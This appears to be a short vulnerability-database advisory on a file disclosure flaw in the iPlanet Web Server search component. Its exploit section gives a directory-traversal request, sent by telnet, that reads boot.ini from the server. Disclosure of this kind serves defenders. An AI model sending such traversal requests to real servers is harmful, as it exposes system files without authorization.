• info
• discussion
• exploit
• solution
• references

iPlanet Web Server Search Component File Disclosure Vulnerability

The following example was provided to exploit this vulnerability using telnet to connect to the server:

GET /search?NS-query-pat=..\..\..\..\..\boot.ini